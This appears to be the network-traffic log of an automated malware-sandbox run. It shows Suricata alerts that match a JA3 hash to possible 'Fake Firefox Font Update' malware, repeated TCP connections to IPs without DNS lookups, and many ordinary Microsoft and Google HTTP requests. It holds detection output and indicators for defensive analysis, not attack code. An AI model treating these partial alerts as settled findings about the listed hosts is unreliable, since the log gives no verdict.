Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:64834 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:64849 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:64845 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:65459 -> 52.168.117.173:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50610 -> 20.189.173.24:443

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=FL+ShEAnHopKa4V&MD=rS2V3E2R HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
